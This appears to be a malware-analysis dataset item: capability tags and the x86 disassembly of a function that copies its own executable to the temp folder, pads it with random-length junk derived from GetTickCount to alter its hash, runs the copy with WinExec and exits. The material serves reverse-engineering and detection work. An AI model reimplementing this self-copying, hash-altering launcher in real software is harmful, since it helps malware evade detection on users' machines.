Function at 0x401194
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x734
push ebx
push esi
mov esi, 0x100000
push edi
push esi
call sub.MFC42.DLL_operatornew
xor ebx, ebx
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 0x14], edi
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004010df
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 0xc
cmp byte [edi], 0x4d
je 0x401202
lea eax, [ebp - 4]
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004010df
add esp, 0xc
push 0x64
call esi
cmp byte [edi], 0x4d
jne 0x4011e2
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], bl
mov byte [ebp - 0x28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x27]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x28]
push 5
push eax
call fcn.0040107c
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
and eax, 0x1ff
push 0x40
mov dword [ebp - 0xc], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x12c]
push 0x41c074
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x12c]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push dword [ebp - 0xc]
mov dword [ebp - 8], eax
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0x10], eax
push 0x64
call esi
lea eax, [ebp - 0x18]
push ebx
push eax
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 4]
push dword [ebp - 0x14]
push dword [ebp - 8]
call edi
push 0x64
call esi
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 8]
call edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x10]
call sub.MFC42.DLL_operatordelete
push dword [ebp - 0x14]
call sub.MFC42.DLL_operatordelete
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x733]
mov byte [ebp - 0x734], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x333]
mov byte [ebp - 0x334], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
lea eax, [ebp - 0x334]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x734]
push 0x41c04c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 0x734]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x1f4
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]